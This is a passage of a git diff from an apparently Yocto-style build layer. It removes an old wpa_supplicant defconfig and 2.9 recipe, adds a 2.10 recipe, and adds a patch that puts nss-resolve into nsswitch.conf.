-# Driver interface for Linux drivers using the nl80211 kernel interface
-CONFIG_DRIVER_NL80211=y
-
-# driver_nl80211.c requires libnl. If you are compiling it yourself
-# you may need to point hostapd to your version of libnl.
-#
-#CFLAGS += -I$<path to libnl include files>
-#LIBS += -L$<path to libnl library files>
-
-# Use libnl v2.0 (or 3.0) libraries.
-#CONFIG_LIBNL20=y
-
-# Use libnl 3.2 libraries (if this is selected, CONFIG_LIBNL20 is ignored)
-CONFIG_LIBNL32=y
-
-
-# Driver interface for FreeBSD net80211 layer (e.g., Atheros driver)
-#CONFIG_DRIVER_BSD=y
-#CFLAGS += -I/usr/local/include
-#LIBS += -L/usr/local/lib
-#LIBS_p += -L/usr/local/lib
-#LIBS_c += -L/usr/local/lib
-
-# Driver interface for Windows NDIS
-#CONFIG_DRIVER_NDIS=y
-#CFLAGS += -I/usr/include/w32api/ddk
-#LIBS += -L/usr/local/lib
-# For native build using mingw
-#CONFIG_NATIVE_WINDOWS=y
-# Additional directories for cross-compilation on Linux host for mingw target
-#CFLAGS += -I/opt/mingw/mingw32/include/ddk
-#LIBS += -L/opt/mingw/mingw32/lib
-#CC=mingw32-gcc
-# By default, driver_ndis uses WinPcap for low-level operations. This can be
-# replaced with the following option which replaces WinPcap calls with NDISUIO.
-# However, this requires that WZC is disabled (net stop wzcsvc) before starting
-# wpa_supplicant.
-# CONFIG_USE_NDISUIO=y
-
-# Driver interface for development testing
-#CONFIG_DRIVER_TEST=y
-
-# Driver interface for wired Ethernet drivers
-CONFIG_DRIVER_WIRED=y
-
-# Driver interface for the Broadcom RoboSwitch family
-#CONFIG_DRIVER_ROBOSWITCH=y
-
-# Driver interface for no driver (e.g., WPS ER only)
-#CONFIG_DRIVER_NONE=y
-
-# Enable IEEE 802.1X Supplicant (automatically included if any EAP method is
-# included)
-CONFIG_IEEE8021X_EAPOL=y
-
-# EAP-MD5
-CONFIG_EAP_MD5=y
-
-# EAP-MSCHAPv2
-CONFIG_EAP_MSCHAPV2=y
-
-# EAP-TLS
-CONFIG_EAP_TLS=y
-
-# EAL-PEAP
-CONFIG_EAP_PEAP=y
-
-# EAP-TTLS
-CONFIG_EAP_TTLS=y
-
-# EAP-FAST
-# Note: If OpenSSL is used as the TLS library, OpenSSL 1.0 or newer is needed
-# for EAP-FAST support. Older OpenSSL releases would need to be patched, e.g.,
-# with openssl-0.9.8x-tls-extensions.patch, to add the needed functions.
-#CONFIG_EAP_FAST=y
-
-# EAP-GTC
-CONFIG_EAP_GTC=y
-
-# EAP-OTP
-CONFIG_EAP_OTP=y
-
-# EAP-SIM (enable CONFIG_PCSC, if EAP-SIM is used)
-#CONFIG_EAP_SIM=y
-
-# EAP-PSK (experimental; this is _not_ needed for WPA-PSK)
-#CONFIG_EAP_PSK=y
-
-# EAP-pwd (secure authentication using only a password)
-#CONFIG_EAP_PWD=y
-
-# EAP-PAX
-#CONFIG_EAP_PAX=y
-
-# LEAP
-CONFIG_EAP_LEAP=y
-
-# EAP-AKA (enable CONFIG_PCSC, if EAP-AKA is used)
-#CONFIG_EAP_AKA=y
-
-# EAP-AKA' (enable CONFIG_PCSC, if EAP-AKA' is used).
-# This requires CONFIG_EAP_AKA to be enabled, too.
-#CONFIG_EAP_AKA_PRIME=y
-
-# Enable USIM simulator (Milenage) for EAP-AKA
-#CONFIG_USIM_SIMULATOR=y
-
-# EAP-SAKE
-#CONFIG_EAP_SAKE=y
-
-# EAP-GPSK
-#CONFIG_EAP_GPSK=y
-# Include support for optional SHA256 cipher suite in EAP-GPSK
-#CONFIG_EAP_GPSK_SHA256=y
-
-# EAP-TNC and related Trusted Network Connect support (experimental)
-#CONFIG_EAP_TNC=y
-
-# Wi-Fi Protected Setup (WPS)
-CONFIG_WPS=y
-# Enable WSC 2.0 support
-#CONFIG_WPS2=y
-# Enable WPS external registrar functionality
-#CONFIG_WPS_ER=y
-# Disable credentials for an open network by default when acting as a WPS
-# registrar.
-#CONFIG_WPS_REG_DISABLE_OPEN=y
-# Enable WPS support with NFC config method
-#CONFIG_WPS_NFC=y
-
-# EAP-IKEv2
-#CONFIG_EAP_IKEV2=y
-
-# EAP-EKE
-#CONFIG_EAP_EKE=y
-
-# PKCS#12 (PFX) support (used to read private key and certificate file from
-# a file that usually has extension .p12 or .pfx)
-CONFIG_PKCS12=y
-
-# Smartcard support (i.e., private key on a smartcard), e.g., with openssl
-# engine.
-CONFIG_SMARTCARD=y
-
-# PC/SC interface for smartcards (USIM, GSM SIM)
-# Enable this if EAP-SIM or EAP-AKA is included
-#CONFIG_PCSC=y
-
-# Support HT overrides (disable HT/HT40, mask MCS rates, etc.)
-#CONFIG_HT_OVERRIDES=y
-
-# Support VHT overrides (disable VHT, mask MCS rates, etc.)
-#CONFIG_VHT_OVERRIDES=y
-
-# Development testing
-#CONFIG_EAPOL_TEST=y
-
-# Select control interface backend for external programs, e.g, wpa_cli:
-# unix = UNIX domain sockets (default for Linux/*BSD)
-# udp = UDP sockets using localhost (127.0.0.1)
-# named_pipe = Windows Named Pipe (default for Windows)
-# udp-remote = UDP sockets with remote access (only for tests systems/purpose)
-# y = use default (backwards compatibility)
-# If this option is commented out, control interface is not included in the
-# build.
-CONFIG_CTRL_IFACE=y
-
-# Include support for GNU Readline and History Libraries in wpa_cli.
-# When building a wpa_cli binary for distribution, please note that these
-# libraries are licensed under GPL and as such, BSD license may not apply for
-# the resulting binary.
-#CONFIG_READLINE=y
-
-# Include internal line edit mode in wpa_cli. This can be used as a replacement
-# for GNU Readline to provide limited command line editing and history support.
-#CONFIG_WPA_CLI_EDIT=y
-
-# Remove debugging code that is printing out debug message to stdout.
-# This can be used to reduce the size of the wpa_supplicant considerably
-# if debugging code is not needed. The size reduction can be around 35%
-# (e.g., 90 kB).
-#CONFIG_NO_STDOUT_DEBUG=y
-
-# Remove WPA support, e.g., for wired-only IEEE 802.1X supplicant, to save
-# 35-50 kB in code size.
-#CONFIG_NO_WPA=y
-
-# Remove IEEE 802.11i/WPA-Personal ASCII passphrase support
-# This option can be used to reduce code size by removing support for
-# converting ASCII passphrases into PSK. If this functionality is removed, the
-# PSK can only be configured as the 64-octet hexstring (e.g., from
-# wpa_passphrase). This saves about 0.5 kB in code size.
-#CONFIG_NO_WPA_PASSPHRASE=y
-
-# Disable scan result processing (ap_mode=1) to save code size by about 1 kB.
-# This can be used if ap_scan=1 mode is never enabled.
-#CONFIG_NO_SCAN_PROCESSING=y
-
-# Select configuration backend:
-# file = text file (e.g., wpa_supplicant.conf; note: the configuration file
-# path is given on command line, not here; this option is just used to
-# select the backend that allows configuration files to be used)
-# winreg = Windows registry (see win_example.reg for an example)
-CONFIG_BACKEND=file
-
-# Remove configuration write functionality (i.e., to allow the configuration
-# file to be updated based on runtime configuration changes). The runtime
-# configuration can still be changed, the changes are just not going to be
-# persistent over restarts. This option can be used to reduce code size by
-# about 3.5 kB.
-#CONFIG_NO_CONFIG_WRITE=y
-
-# Remove support for configuration blobs to reduce code size by about 1.5 kB.
-#CONFIG_NO_CONFIG_BLOBS=y
-
-# Select program entry point implementation:
-# main = UNIX/POSIX like main() function (default)
-# main_winsvc = Windows service (read parameters from registry)
-# main_none = Very basic example (development use only)
-#CONFIG_MAIN=main
-
-# Select wrapper for operatins system and C library specific functions
-# unix = UNIX/POSIX like systems (default)
-# win32 = Windows systems
-# none = Empty template
-#CONFIG_OS=unix
-
-# Select event loop implementation
-# eloop = select() loop (default)
-# eloop_win = Windows events and WaitForMultipleObject() loop
-#CONFIG_ELOOP=eloop
-
-# Should we use poll instead of select? Select is used by default.
-#CONFIG_ELOOP_POLL=y
-
-# Select layer 2 packet implementation
-# linux = Linux packet socket (default)
-# pcap = libpcap/libdnet/WinPcap
-# freebsd = FreeBSD libpcap
-# winpcap = WinPcap with receive thread
-# ndis = Windows NDISUIO (note: requires CONFIG_USE_NDISUIO=y)
-# none = Empty template
-#CONFIG_L2_PACKET=linux
-
-# PeerKey handshake for Station to Station Link (IEEE 802.11e DLS)
-CONFIG_PEERKEY=y
-
-# IEEE 802.11w (management frame protection), also known as PMF
-# Driver support is also needed for IEEE 802.11w.
-#CONFIG_IEEE80211W=y
-
-# Select TLS implementation
-# openssl = OpenSSL (default)
-# gnutls = GnuTLS
-# internal = Internal TLSv1 implementation (experimental)
-# none = Empty template
-#CONFIG_TLS=openssl
-
-# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.1)
-# can be enabled to get a stronger construction of messages when block ciphers
-# are used. It should be noted that some existing TLS v1.0 -based
-# implementation may not be compatible with TLS v1.1 message (ClientHello is
-# sent prior to negotiating which version will be used)
-#CONFIG_TLSV11=y
-
-# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.2)
-# can be enabled to enable use of stronger crypto algorithms. It should be
-# noted that some existing TLS v1.0 -based implementation may not be compatible
-# with TLS v1.2 message (ClientHello is sent prior to negotiating which version
-# will be used)
-#CONFIG_TLSV12=y
-
-# If CONFIG_TLS=internal is used, additional library and include paths are
-# needed for LibTomMath. Alternatively, an integrated, minimal version of
-# LibTomMath can be used. See beginning of libtommath.c for details on benefits
-# and drawbacks of this option.
-#CONFIG_INTERNAL_LIBTOMMATH=y
-#ifndef CONFIG_INTERNAL_LIBTOMMATH
-#LTM_PATH=/usr/src/libtommath-0.39
-#CFLAGS += -I$(LTM_PATH)
-#LIBS += -L$(LTM_PATH)
-#LIBS_p += -L$(LTM_PATH)
-#endif
-# At the cost of about 4 kB of additional binary size, the internal LibTomMath
-# can be configured to include faster routines for exptmod, sqr, and div to
-# speed up DH and RSA calculation considerably
-#CONFIG_INTERNAL_LIBTOMMATH_FAST=y
-
-# Include NDIS event processing through WMI into wpa_supplicant/wpasvc.
-# This is only for Windows builds and requires WMI-related header files and
-# WbemUuid.Lib from Platform SDK even when building with MinGW.
-#CONFIG_NDIS_EVENTS_INTEGRATED=y
-#PLATFORMSDKLIB="/opt/Program Files/Microsoft Platform SDK/Lib"
-
-# Add support for old DBus control interface
-# (fi.epitest.hostap.WPASupplicant)
-#CONFIG_CTRL_IFACE_DBUS=y
-
-# Add support for new DBus control interface
-# (fi.w1.hostap.wpa_supplicant1)
-CONFIG_CTRL_IFACE_DBUS_NEW=y
-
-# Add introspection support for new DBus control interface
-#CONFIG_CTRL_IFACE_DBUS_INTRO=y
-
-# Add support for loading EAP methods dynamically as shared libraries.
-# When this option is enabled, each EAP method can be either included
-# statically (CONFIG_EAP_<method>=y) or dynamically (CONFIG_EAP_<method>=dyn).
-# Dynamic EAP methods are build as shared objects (eap_*.so) and they need to
-# be loaded in the beginning of the wpa_supplicant configuration file
-# (see load_dynamic_eap parameter in the example file) before being used in
-# the network blocks.
-#
-# Note that some shared parts of EAP methods are included in the main program
-# and in order to be able to use dynamic EAP methods using these parts, the
-# main program must have been build with the EAP method enabled (=y or =dyn).
-# This means that EAP-TLS/PEAP/TTLS/FAST cannot be added as dynamic libraries
-# unless at least one of them was included in the main build to force inclusion
-# of the shared code. Similarly, at least one of EAP-SIM/AKA must be included
-# in the main build to be able to load these methods dynamically.
-#
-# Please also note that using dynamic libraries will increase the total binary
-# size. Thus, it may not be the best option for targets that have limited
-# amount of memory/flash.
-#CONFIG_DYNAMIC_EAP_METHODS=y
-
-# IEEE Std 802.11r-2008 (Fast BSS Transition)
-#CONFIG_IEEE80211R=y
-
-# Add support for writing debug log to a file (/tmp/wpa_supplicant-log-#.txt)
-#CONFIG_DEBUG_FILE=y
-
-# Send debug messages to syslog instead of stdout
-#CONFIG_DEBUG_SYSLOG=y
-# Set syslog facility for debug messages
-#CONFIG_DEBUG_SYSLOG_FACILITY=LOG_DAEMON
-
-# Add support for sending all debug messages (regardless of debug verbosity)
-# to the Linux kernel tracing facility. This helps debug the entire stack by
-# making it easy to record everything happening from the driver up into the
-# same file, e.g., using trace-cmd.
-#CONFIG_DEBUG_LINUX_TRACING=y
-
-# Enable privilege separation (see README 'Privilege separation' for details)
-#CONFIG_PRIVSEP=y
-
-# Enable mitigation against certain attacks against TKIP by delaying Michael
-# MIC error reports by a random amount of time between 0 and 60 seconds
-#CONFIG_DELAYED_MIC_ERROR_REPORT=y
-
-# Enable tracing code for developer debugging
-# This tracks use of memory allocations and other registrations and reports
-# incorrect use with a backtrace of call (or allocation) location.
-#CONFIG_WPA_TRACE=y
-# For BSD, uncomment these.
-#LIBS += -lexecinfo
-#LIBS_p += -lexecinfo
-#LIBS_c += -lexecinfo
-
-# Use libbfd to get more details for developer debugging
-# This enables use of libbfd to get more detailed symbols for the backtraces
-# generated by CONFIG_WPA_TRACE=y.
-#CONFIG_WPA_TRACE_BFD=y
-# For BSD, uncomment these.
-#LIBS += -lbfd -liberty -lz
-#LIBS_p += -lbfd -liberty -lz
-#LIBS_c += -lbfd -liberty -lz
-
-CONFIG_TLS = %ssl%
-CONFIG_CTRL_IFACE_DBUS=y
-CONFIG_CTRL_IFACE_DBUS_NEW=y
-
-# wpa_supplicant depends on strong random number generation being available
-# from the operating system. os_get_random() function is used to fetch random
-# data when needed, e.g., for key generation. On Linux and BSD systems, this
-# works by reading /dev/urandom. It should be noted that the OS entropy pool
-# needs to be properly initialized before wpa_supplicant is started. This is
-# important especially on embedded devices that do not have a hardware random
-# number generator and may by default start up with minimal entropy available
-# for random number generation.
-#
-# As a safety net, wpa_supplicant is by default trying to internally collect
-# additional entropy for generating random data to mix in with the data fetched
-# from the OS. This by itself is not considered to be very strong, but it may
-# help in cases where the system pool is not initialized properly. However, it
-# is very strongly recommended that the system pool is initialized with enough
-# entropy either by using hardware assisted random number generator or by
-# storing state over device reboots.
-#
-# wpa_supplicant can be configured to maintain its own entropy store over
-# restarts to enhance random number generation. This is not perfect, but it is
-# much more secure than using the same sequence of random numbers after every
-# reboot. This can be enabled with -e<entropy file> command line option. The
-# specified file needs to be readable and writable by wpa_supplicant.
-#
-# If the os_get_random() is known to provide strong random data (e.g., on
-# Linux/BSD, the board in question is known to have reliable source of random
-# data from /dev/urandom), the internal wpa_supplicant random pool can be
-# disabled. This will save some in binary size and CPU use. However, this
-# should only be considered for builds that are known to be used on devices
-# that meet the requirements described above.
-#CONFIG_NO_RANDOM_POOL=y
-
-# IEEE 802.11n (High Throughput) support (mainly for AP mode)
-#CONFIG_IEEE80211N=y
-
-# IEEE 802.11ac (Very High Throughput) support (mainly for AP mode)
-# (depends on CONFIG_IEEE80211N)
-#CONFIG_IEEE80211AC=y
-
-# Wireless Network Management (IEEE Std 802.11v-2011)
-# Note: This is experimental and not complete implementation.
-#CONFIG_WNM=y
-
-# Interworking (IEEE 802.11u)
-# This can be used to enable functionality to improve interworking with
-# external networks (GAS/ANQP to learn more about the networks and network
-# selection based on available credentials).
-#CONFIG_INTERWORKING=y
-
-# Hotspot 2.0
-#CONFIG_HS20=y
-
-# Disable roaming in wpa_supplicant
-#CONFIG_NO_ROAMING=y
-
-# AP mode operations with wpa_supplicant
-# This can be used for controlling AP mode operations with wpa_supplicant. It
-# should be noted that this is mainly aimed at simple cases like
-# WPA2-Personal while more complex configurations like WPA2-Enterprise with an
-# external RADIUS server can be supported with hostapd.
-CONFIG_AP=y
-
-CONFIG_BGSCAN_SIMPLE=y
-
-# P2P (Wi-Fi Direct)
-# This can be used to enable P2P support in wpa_supplicant. See README-P2P for
-# more information on P2P operations.
-#CONFIG_P2P=y
-
-# Enable TDLS support
-#CONFIG_TDLS=y
-
-# Wi-Fi Direct
-# This can be used to enable Wi-Fi Direct extensions for P2P using an external
-# program to control the additional information exchanges in the messages.
-#CONFIG_WIFI_DISPLAY=y
-
-# Autoscan
-# This can be used to enable automatic scan support in wpa_supplicant.
-# See wpa_supplicant.conf for more information on autoscan usage.
-#
-# Enabling directly a module will enable autoscan support.
-# For exponential module:
-CONFIG_AUTOSCAN_EXPONENTIAL=y
-# For periodic module:
-#CONFIG_AUTOSCAN_PERIODIC=y
-
-# Password (and passphrase, etc.) backend for external storage
-# These optional mechanisms can be used to add support for storing passwords
-# and other secrets in external (to wpa_supplicant) location. This allows, for
-# example, operating system specific key storage to be used
-#
-# External password backend for testing purposes (developer use)
-#CONFIG_EXT_PASSWORD_TEST=y
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.10.bb b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.10.bb
new file mode 100644
index 0000000000..22028ce957
--- /dev/null
+++ b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.10.bb
@@ -0,0 +1,138 @@
+SUMMARY = "Client for Wi-Fi Protected Access (WPA)"
+DESCRIPTION = "wpa_supplicant is a WPA Supplicant for Linux, BSD, Mac OS X, and Windows with support for WPA and WPA2 (IEEE 802.11i / RSN). Supplicant is the IEEE 802.1X/WPA component that is used in the client stations. It implements key negotiation with a WPA Authenticator and it controls the roaming and IEEE 802.11 authentication/association of the wlan driver."
+HOMEPAGE = "http://w1.fi/wpa_supplicant/"
+BUGTRACKER = "http://w1.fi/security/"
+SECTION = "network"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=5ebcb90236d1ad640558c3d3cd3035df \
+ file://README;beginline=1;endline=56;md5=e3d2f6c2948991e37c1ca4960de84747 \
+ file://wpa_supplicant/wpa_supplicant.c;beginline=1;endline=12;md5=76306a95306fee9a976b0ac1be70f705"
+
+DEPENDS = "dbus libnl"
+
+SRC_URI = "http://w1.fi/releases/wpa_supplicant-${PV}.tar.gz \
+ file://wpa-supplicant.sh \
+ file://wpa_supplicant.conf \
+ file://wpa_supplicant.conf-sane \
+ file://99_wpa_supplicant \
+ file://0001-build-Re-enable-options-for-libwpa_client.so-and-wpa.patch \
+ file://0002-Fix-removal-of-wpa_passphrase-on-make-clean.patch \
+ file://0001-Install-wpa_passphrase-when-not-disabled.patch \
+ file://0001-PEAP-client-Update-Phase-2-authentication-requiremen.patch \
+ "
+SRC_URI[sha256sum] = "20df7ae5154b3830355f8ab4269123a87affdea59fe74fe9292a91d0d7e17b2f"
+
+S = "${WORKDIR}/wpa_supplicant-${PV}"
+
+inherit pkgconfig systemd
+
+PACKAGECONFIG ?= "openssl"
+PACKAGECONFIG[gnutls] = ",,gnutls libgcrypt"
+PACKAGECONFIG[openssl] = ",,openssl"
+
+CVE_PRODUCT = "wpa_supplicant"
+
+EXTRA_OEMAKE = "'LIBDIR=${libdir}' 'INCDIR=${includedir}' 'BINDIR=${sbindir}'"
+
+do_configure () {
+ ${MAKE} -C wpa_supplicant clean
+ sed -e '/^CONFIG_TLS=/d' <wpa_supplicant/defconfig >wpa_supplicant/.config
+
+ if ${@ bb.utils.contains('PACKAGECONFIG', 'openssl', 'true', 'false', d) }; then
+ echo 'CONFIG_TLS=openssl' >>wpa_supplicant/.config
+ elif ${@ bb.utils.contains('PACKAGECONFIG', 'gnutls', 'true', 'false', d) }; then
+ echo 'CONFIG_TLS=gnutls' >>wpa_supplicant/.config
+ sed -i -e 's/\(^CONFIG_DPP=\)/#\1/' \
+ -e 's/\(^CONFIG_EAP_PWD=\)/#\1/' \
+ -e 's/\(^CONFIG_SAE=\)/#\1/' wpa_supplicant/.config
+ fi
+
+ # For rebuild
+ rm -f wpa_supplicant/*.d wpa_supplicant/dbus/*.d
+}
+
+do_compile () {
+ oe_runmake -C wpa_supplicant
+ if [ -z "${DISABLE_STATIC}" ]; then
+ oe_runmake -C wpa_supplicant libwpa_client.a
+ fi
+}
+
+do_install () {
+ oe_runmake -C wpa_supplicant DESTDIR="${D}" install
+
+ install -d ${D}${docdir}/wpa_supplicant
+ install -m 644 wpa_supplicant/README ${WORKDIR}/wpa_supplicant.conf ${D}${docdir}/wpa_supplicant
+
+ install -d ${D}${sysconfdir}
+ install -m 600 ${WORKDIR}/wpa_supplicant.conf-sane ${D}${sysconfdir}/wpa_supplicant.conf
+
+ install -d ${D}${sysconfdir}/network/if-pre-up.d/
+ install -d ${D}${sysconfdir}/network/if-post-down.d/
+ install -d ${D}${sysconfdir}/network/if-down.d/
+ install -m 755 ${WORKDIR}/wpa-supplicant.sh ${D}${sysconfdir}/network/if-pre-up.d/wpa-supplicant
+ ln -sf ../if-pre-up.d/wpa-supplicant ${D}${sysconfdir}/network/if-post-down.d/wpa-supplicant
+
+ install -d ${D}/${sysconfdir}/dbus-1/system.d
+ install -m 644 ${S}/wpa_supplicant/dbus/dbus-wpa_supplicant.conf ${D}/${sysconfdir}/dbus-1/system.d
+ install -d ${D}/${datadir}/dbus-1/system-services
+ install -m 644 ${S}/wpa_supplicant/dbus/*.service ${D}/${datadir}/dbus-1/system-services
+
+ if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
+ install -d ${D}/${systemd_system_unitdir}
+ install -m 644 ${S}/wpa_supplicant/systemd/*.service ${D}/${systemd_system_unitdir}
+ fi
+
+ install -d ${D}/etc/default/volatiles
+ install -m 0644 ${WORKDIR}/99_wpa_supplicant ${D}/etc/default/volatiles
+
+ install -d ${D}${includedir}
+ install -m 0644 ${S}/src/common/wpa_ctrl.h ${D}${includedir}
+
+ if [ -z "${DISABLE_STATIC}" ]; then
+ install -d ${D}${libdir}
+ install -m 0644 wpa_supplicant/libwpa_client.a ${D}${libdir}
+ fi
+}
+
+pkg_postinst:${PN} () {
+ # If we're offline, we don't need to do this.
+ if [ "x$D" = "x" ]; then
+ killall -q -HUP dbus-daemon || true
+ fi
+}
+
+PACKAGE_BEFORE_PN += "${PN}-passphrase ${PN}-cli"
+PACKAGES =+ "${PN}-lib"
+PACKAGES += "${PN}-plugins"
+ALLOW_EMPTY:${PN}-plugins = "1"
+
+PACKAGES_DYNAMIC += "^${PN}-plugin-.*$"
+NOAUTOPACKAGEDEBUG = "1"
+
+FILES:${PN}-passphrase = "${sbindir}/wpa_passphrase"
+FILES:${PN}-cli = "${sbindir}/wpa_cli"
+FILES:${PN}-lib = "${libdir}/libwpa_client*${SOLIBSDEV}"
+FILES:${PN} += "${datadir}/dbus-1/system-services/* ${systemd_system_unitdir}/*"
+FILES:${PN}-dbg += "${sbindir}/.debug ${libdir}/.debug"
+
+CONFFILES:${PN} += "${sysconfdir}/wpa_supplicant.conf"
+
+RRECOMMENDS:${PN} = "${PN}-passphrase ${PN}-cli ${PN}-plugins"
+
+SYSTEMD_SERVICE:${PN} = "wpa_supplicant.service"
+SYSTEMD_AUTO_ENABLE = "disable"
+
+python split_wpa_supplicant_libs () {
+ libdir = d.expand('${libdir}/wpa_supplicant')
+ dbglibdir = os.path.join(libdir, '.debug')
+
+ split_packages = do_split_packages(d, libdir, r'^(.*)\.so', '${PN}-plugin-%s', 'wpa_supplicant %s plugin', prepend=True)
+ split_dbg_packages = do_split_packages(d, dbglibdir, r'^(.*)\.so', '${PN}-plugin-%s-dbg', 'wpa_supplicant %s plugin - Debugging files', prepend=True, extra_depends='${PN}-dbg')
+
+ if split_packages:
+ pn = d.getVar('PN')
+ d.setVar('RRECOMMENDS:' + pn + '-plugins', ' '.join(split_packages))
+ d.appendVar('RRECOMMENDS:' + pn + '-dbg', ' ' + ' '.join(split_dbg_packages))
+}
+PACKAGESPLITFUNCS += "split_wpa_supplicant_libs"
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.9.bb b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.9.bb
deleted file mode 100644
index 7cc03fef7d..0000000000
--- a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.9.bb
+++ /dev/null
@@ -1,113 +0,0 @@
-SUMMARY = "Client for Wi-Fi Protected Access (WPA)"
-HOMEPAGE = "http://w1.fi/wpa_supplicant/"
-BUGTRACKER = "http://w1.fi/security/"
-SECTION = "network"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=279b4f5abb9c153c285221855ddb78cc \
- file://README;beginline=1;endline=56;md5=e7d3dbb01f75f0b9799e192731d1e1ff \
- file://wpa_supplicant/wpa_supplicant.c;beginline=1;endline=12;md5=0a8b56d3543498b742b9c0e94cc2d18b"
-DEPENDS = "dbus libnl"
-RRECOMMENDS_${PN} = "wpa-supplicant-passphrase wpa-supplicant-cli"
-
-PACKAGECONFIG ??= "gnutls"
-PACKAGECONFIG[gnutls] = ",,gnutls libgcrypt"
-PACKAGECONFIG[openssl] = ",,openssl"
-
-inherit pkgconfig systemd
-
-SYSTEMD_SERVICE_${PN} = "wpa_supplicant.service"
-SYSTEMD_AUTO_ENABLE = "disable"
-
-SRC_URI = "http://w1.fi/releases/wpa_supplicant-${PV}.tar.gz \
- file://defconfig \
- file://wpa-supplicant.sh \
- file://wpa_supplicant.conf \
- file://wpa_supplicant.conf-sane \
- file://99_wpa_supplicant \
- file://0001-replace-systemd-install-Alias-with-WantedBy.patch \
- file://0001-AP-Silently-ignore-management-frame-from-unexpected-.patch \
- file://0001-WPS-UPnP-Do-not-allow-event-subscriptions-with-URLs-.patch \
- file://0002-WPS-UPnP-Fix-event-message-generation-using-a-long-U.patch \
- file://0003-WPS-UPnP-Handle-HTTP-initiation-failures-for-events-.patch \
- "
-SRC_URI[md5sum] = "2d2958c782576dc9901092fbfecb4190"
-SRC_URI[sha256sum] = "fcbdee7b4a64bea8177973299c8c824419c413ec2e3a95db63dd6a5dc3541f17"
-
-CVE_PRODUCT = "wpa_supplicant"
-
-S = "${WORKDIR}/wpa_supplicant-${PV}"
-
-PACKAGES_prepend = "wpa-supplicant-passphrase wpa-supplicant-cli "
-FILES_wpa-supplicant-passphrase = "${bindir}/wpa_passphrase"
-FILES_wpa-supplicant-cli = "${sbindir}/wpa_cli"
-FILES_${PN} += "${datadir}/dbus-1/system-services/* ${systemd_system_unitdir}/*"
-CONFFILES_${PN} += "${sysconfdir}/wpa_supplicant.conf"
-
-do_configure () {
- ${MAKE} -C wpa_supplicant clean
- install -m 0755 ${WORKDIR}/defconfig wpa_supplicant/.config
-
- if echo "${PACKAGECONFIG}" | grep -qw "openssl"; then
- ssl=openssl
- elif echo "${PACKAGECONFIG}" | grep -qw "gnutls"; then
- ssl=gnutls
- fi
- if [ -n "$ssl" ]; then
- sed -i "s/%ssl%/$ssl/" wpa_supplicant/.config
- fi
-
- # For rebuild
- rm -f wpa_supplicant/*.d wpa_supplicant/dbus/*.d
-}
-
-export EXTRA_CFLAGS = "${CFLAGS}"
-export BINDIR = "${sbindir}"
-
-do_compile () {
- unset CFLAGS CPPFLAGS CXXFLAGS
- sed -e "s:CFLAGS\ =.*:& \$(EXTRA_CFLAGS):g" -i ${S}/src/lib.rules
- oe_runmake -C wpa_supplicant
-}
-
-do_install () {
- install -d ${D}${sbindir}
- install -m 755 wpa_supplicant/wpa_supplicant ${D}${sbindir}
- install -m 755 wpa_supplicant/wpa_cli ${D}${sbindir}
-
- install -d ${D}${bindir}
- install -m 755 wpa_supplicant/wpa_passphrase ${D}${bindir}
-
- install -d ${D}${docdir}/wpa_supplicant
- install -m 644 wpa_supplicant/README ${WORKDIR}/wpa_supplicant.conf ${D}${docdir}/wpa_supplicant
-
- install -d ${D}${sysconfdir}
- install -m 600 ${WORKDIR}/wpa_supplicant.conf-sane ${D}${sysconfdir}/wpa_supplicant.conf
-
- install -d ${D}${sysconfdir}/network/if-pre-up.d/
- install -d ${D}${sysconfdir}/network/if-post-down.d/
- install -d ${D}${sysconfdir}/network/if-down.d/
- install -m 755 ${WORKDIR}/wpa-supplicant.sh ${D}${sysconfdir}/network/if-pre-up.d/wpa-supplicant
- cd ${D}${sysconfdir}/network/ && \
- ln -sf ../if-pre-up.d/wpa-supplicant if-post-down.d/wpa-supplicant
-
- install -d ${D}/${sysconfdir}/dbus-1/system.d
- install -m 644 ${S}/wpa_supplicant/dbus/dbus-wpa_supplicant.conf ${D}/${sysconfdir}/dbus-1/system.d
- install -d ${D}/${datadir}/dbus-1/system-services
- install -m 644 ${S}/wpa_supplicant/dbus/*.service ${D}/${datadir}/dbus-1/system-services
-
- if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
- install -d ${D}/${systemd_unitdir}/system
- install -m 644 ${S}/wpa_supplicant/systemd/*.service ${D}/${systemd_unitdir}/system
- fi
-
- install -d ${D}/etc/default/volatiles
- install -m 0644 ${WORKDIR}/99_wpa_supplicant ${D}/etc/default/volatiles
-}
-
-pkg_postinst_wpa-supplicant () {
- # If we're offline, we don't need to do this.
- if [ "x$D" = "x" ]; then
- killall -q -HUP dbus-daemon || true
- fi
-
-}
diff --git a/meta/recipes-core/base-files/base-files/0001-add-nss-resolve-to-nsswitch.patch b/meta/recipes-core/base-files/base-files/0001-add-nss-resolve-to-nsswitch.patch
new file mode 100644
index 0000000000..a6e39e0956
--- /dev/null
+++ b/meta/recipes-core/base-files/base-files/0001-add-nss-resolve-to-nsswitch.patch
@@ -0,0 +1,31 @@
+From 830abe652428d9d31780c3ace121635ad7b64274 Mon Sep 17 00:00:00 2001
+From: Eero Aaltonen <eero.aaltonen@vaisala.com>
+Date: Wed Sep 27 15:50:48 2023 +0300
+Subject: [PATCH] Add nss-resolve to the Name Service Switch (NSS)
+
+Add `nss-resolve` so that `systemd-resolved` is used for name
+resolution with glibc `gethostbyname` calls.
+
+Upstream-Status: Inappropriate [no upstream, configuration].
+
+Signed-off-by: Eero Aaltonen <eero.aaltonen@vaisala.com>
+---
+ nsswitch.conf | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/nsswitch.conf b/nsswitch.conf
+index 06f03d2..34b165c 100644
+--- a/nsswitch.conf
++++ b/nsswitch.conf
+@@ -8,7 +8,7 @@ passwd: compat
+ group: compat
+ shadow: compat
+
+-hosts: files dns
++hosts: resolve [!UNAVAIL=return] files dns
+ networks: files
+
+ protocols: db files
+--
+2.25.1
+
